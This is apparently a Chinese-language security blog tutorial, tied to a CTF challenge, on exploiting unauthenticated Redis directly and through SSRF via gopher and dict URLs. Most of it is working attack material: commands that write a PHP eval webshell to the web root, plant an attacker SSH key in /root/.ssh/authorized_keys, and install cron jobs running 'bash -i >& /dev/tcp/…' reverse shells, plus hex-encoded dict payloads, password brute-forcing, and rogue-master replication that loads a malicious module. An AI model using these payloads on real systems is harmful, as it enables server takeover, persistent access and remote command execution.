这篇文章总结一下SSRF打redis(redis的未授权漏洞)
SSRF—gopher和dict打redis
redis简介
redis是一个key-value存储系统,是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
redis常用命令
1 | set xz "Hacker" # 设置键xz的值为字符串Hacker |
redis配置文件参数
1 | port参数 |
redis漏洞的利用方式
Redis 提供了2种不同的持久化方式,RDB方式和AOF方式.
RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照
AOF 持久化记录服务器执行的所有写操作命令.
经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.
RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.
原理:
Redis 默认情况下,会绑定在 ip地址:6379,如果没有进行采用相关的策略,
比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服
务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可
以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的
config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell
等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目
录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据
库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保
存,则我们就指定的目录里写入指定的文件了。
绝对路径写webshell —有无认证均可
条件:
知道网站绝对路径,并且需要增删改查权限
root启动redis
redis弱密码或者无密码
补充:若不知道物理路径,可尝试寻找网站的应用程序错误或者常见绝对路径去尝试。
一些命令(协议打可能用到)
1 | redis-cli -h 192.168.3.134 #连接 |
默认redis的端口是6379,如果改了,直接利用burp爆破端口
然后如果redis需要为有认证的,需要密码,我们也可以利用脚本爆破弱口令的密码(在后面)
1 | import urllib.request |
如果不需要密码,直接用下面的脚本;如果有密码,用上面的脚本爆,再用下面的脚本构成payload。
1 | import urllib.parse |
再提供一个脚本
1 | # -*- coding: UTF-8 -*- |
CTF题:2021年极客大挑战的givemeyourlove
写 ssh-keygen 公钥登录服务器
原理:
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
条件:
1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
其实,思路跟写webshell的思路一样
一些命令(协议打可能用到)
1 | redis-cli -h 192.168.33.134 #连接目标主机redis config get dir #检查当前保存路径config get dbfilename #检查保存文件名config set dir /root/.ssh/ #设置保存路径config set dbfilename authorized_keys #设置保存文件名set xz “\n\n\n 公钥 \n\n\n” #将公钥写入xz健save #进行保存 |
首先在攻击机的/root/.ssh目录里生成ssh公钥key:
1 | ssh-keygen -t rsa |
之后修改上述脚本:
1 | path= "/root/.ssh" #路径shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\\n\\n\\n" #公钥filename= "authorized_keys" #文件名 |
跑完脚本,然后利用SSH登录攻击机
创建计划任务反弹shell
1 | 这个方法只能Centos上使用,Ubuntu上行不通,原因如下:因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错由于系统的不同,crontrab定时文件位置也会不同:Centos的定时任务文件在/var/spool/cron/Ubuntu定时任务文件在/var/spool/cron/crontabs/ |
条件:
root启用Redis
redis无密码或者弱密码
一些命令(协议打可能用到)
1 | redis-cli -h 192.168.33.134 #连接redis flushall #清除所有键值config set dir /var/spool/cron/crontabs/ #设置保存路径config set dbfilename shell #保存名称set xz “\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n” #将反弹shell写入xz键值save #写入保存路径的shell文件 |
先在攻击机监听端口,再运行脚本
还是改动相应的脚本
1 | path = "/var/spool/cron/crontabs" #路径shell = "\\n\\n\\n* * * * * bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1\\n\\n\\n" #反弹shellfilename = "root" #文件名 |
redis主从复制getshell
原理:
Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
条件:
1 | Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)redis弱密码或者无密码root启动redis |
步骤:
下面这串命令可以具体感受主从复制的原理
1 | root@kali:~/桌面# redis-cli -h 192.168.33.134192.168.33.134:6379> slaveof 192.168.33.131 6379 # 设置主从关系OK192.168.33.134:6379> get xz(nil)192.168.33.134:6379> exitroot@kali:~/桌面# redis-cli # 写---主机127.0.0.1:6379> get xz(nil)127.0.0.1:6379> set xz xzOK127.0.0.1:6379> exitroot@kali:~/桌面# redis-cli -h 192.168.33.134 # 读---从机192.168.33.134:6379> get xz"xz"192.168.33.134:6379> |
利用 redis-rogue-server 工具
1 | https://github.com/n0b0dyCN/redis-rogue-server该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。 |
但是该工具无法数据Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。
1 | 有两种使用方法一种是交互式shell,另一种是反弹shell |
1 | python3 redis-rogue-server.py --rhost rhost --lhost lhost —rhost为从机,lhost为主机python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so根据提示输入i进入交互shell |
交互式shell
借用师傅的图:
反弹shell
1 | #### python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so根据提示输入r,接着输入ip和端口进行反弹 |
SSRF打redis
gopherus直接打redis
利用gopherus
这个主要是写webshell
1 | python gopherus.py --exploit redisphp回车<?php eval($_POST['1']);?> |
然后传入shell,默认生成shell.php
访问shell.php,任意命令执行。
PS:也可以直接用我们上面绝对路径写webshell的直接打有无认证的redis
dict协议打redis
探测端口的开放
我们直接使用bp的爆破来判断端口的开放,先INFO探测是否设置口令,如果有下图显示,说明就是有的
然后通过dict://xxx.xxx.xxx:6789/auth:密码,密码放个字典,可以破解弱口令密码
dict打redis之写入webshell
命令步骤:
1 | 更改rdb文件的目录至网站目录下url=dict://xxx.xxx:6380/config:set:dir:/var/www/html将rdb文件名dbfilename改为webshell的名字url=dict://xxx.xxx:6380/config:set:dbfilename:webshell.php写入webshellurl=dict://xxx.xxx:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"有些时候可能\x需要换成 \ \x进行转义进行备份dict://xxx.xxx:6380/save |
dict打redis之计划任务反弹shell
具体就是dict://xxx.xxx:6380/命令
1 | flushall #清除所有键值config set dir /var/spool/cron/crontabs/ #设置保存路径config set dbfilename shell #保存名称set xz “\n* * * * * bash -i >& /dev/tcp/192.168.33.131/8888 0>&1\n” #将反弹shell写入xz键值save #写入保存路径的shell文件 |
1 | 1. set 1 '\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n' 2.转换一下即: url=dict://xxx.xxx:6380/set:shell:"\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.124.141/2333\x200\x3e\x261\n\n" 3.但还要注意这里不能够这么写:\x5c 而应该直接就 \n,也不要写\r\n 因为linux换行符就是\n你写\r反而可能会出现参数污染 |
dict打redis之主从复制
还是提醒:192.168.33.134是从机,192.168.33.131是主机
1 | dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwrootdict://192.168.33.134:6379/config:set:dbfilename:ssrf.php先设置好保存的路径和保存的文件名然后登入kali进行主从复制操作,方法和上面的一样127.0.0.1:6379> set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n"再去web端执行save操作dict://192.168.33.134:6379/save这样数据直接回同步到目标机 |
redis写lua
redis2.6之前内置了lua脚本环境在redis未授权的情况下可以利用lua执行系统命令,可以看这个:https://wooyun.x10sec.org/static/drops/papers-3062.html
其他
批量检测未授权redis脚本
https://github.com/Ridter/hackredis
redis未授权漏洞应急响应案例:
redis未授权访问致远程植入挖矿脚本(防御篇)
https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w
还有几篇可以看看(日后看看)
https://xz.aliyun.com/t/7333#toc-0
https://xz.aliyun.com/t/6373#toc-8(关于无回显的SSRF思考)